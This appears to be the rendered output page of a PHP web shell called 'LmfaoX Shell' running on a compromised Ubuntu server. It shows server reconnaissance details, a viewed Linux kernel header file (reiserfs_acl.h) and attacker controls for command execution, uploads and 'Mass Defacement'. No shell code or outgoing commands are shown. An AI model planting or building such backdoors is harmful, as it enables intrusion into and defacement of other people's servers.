ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:23.08 GB of 70.42 GB (32.78%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ usr/ src/ linux-headers-3.0.0-14/ include/ linux/ - drwxr-xr-x

Directory:
Viewing file:     reiserfs_acl.h (1.87 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#include <linux/init.h>
#include <linux/posix_acl.h>

#define REISERFS_ACL_VERSION    0x0001

typedef struct {
    __le16 e_tag;
    __le16 e_perm;
    __le32 e_id;
} reiserfs_acl_entry;

typedef struct {
    __le16 e_tag;
    __le16 e_perm;
} reiserfs_acl_entry_short;

typedef struct {
    __le32 a_version;
} reiserfs_acl_header;

static inline size_t reiserfs_acl_size(int count)
{
    if (count <= 4) {
        return sizeof(reiserfs_acl_header) +
            count * sizeof(reiserfs_acl_entry_short);
    } else {
        return sizeof(reiserfs_acl_header) +
            4 * sizeof(reiserfs_acl_entry_short) +
            (count - 4) * sizeof(reiserfs_acl_entry);
    }
}

static inline int reiserfs_acl_count(size_t size)
{
    ssize_t s;
    size -= sizeof(reiserfs_acl_header);
    s = size - 4 * sizeof(reiserfs_acl_entry_short);
    if (s < 0) {
        if (size % sizeof(reiserfs_acl_entry_short))
            return -1;
        return size / sizeof(reiserfs_acl_entry_short);
    } else {
        if (s % sizeof(reiserfs_acl_entry))
            return -1;
        return s / sizeof(reiserfs_acl_entry) + 4;
    }
}

#ifdef CONFIG_REISERFS_FS_POSIX_ACL
struct posix_acl *reiserfs_get_acl(struct inode *inode, int type);
int reiserfs_acl_chmod(struct inode *inode);
int reiserfs_inherit_default_acl(struct reiserfs_transaction_handle *th,
                 struct inode *dir, struct dentry *dentry,
                 struct inode *inode);
int reiserfs_cache_default_acl(struct inode *dir);
extern const struct xattr_handler reiserfs_posix_acl_default_handler;
extern const struct xattr_handler reiserfs_posix_acl_access_handler;

#else

#define reiserfs_cache_default_acl(inode) 0

static inline struct posix_acl *reiserfs_get_acl(struct inode *inode, int type)
{
    return NULL;
}

static inline int reiserfs_acl_chmod(struct inode *inode)
{
    return 0;
}

static inline int
reiserfs_inherit_default_acl(struct reiserfs_transaction_handle *th,
                 const struct inode *dir, struct dentry *dentry,
                 struct inode *inode)
{
    return 0;
}
#endif
Command:
Quick Commands:
Upload:
[Read-Only] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [Read-Only]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.1569 seconds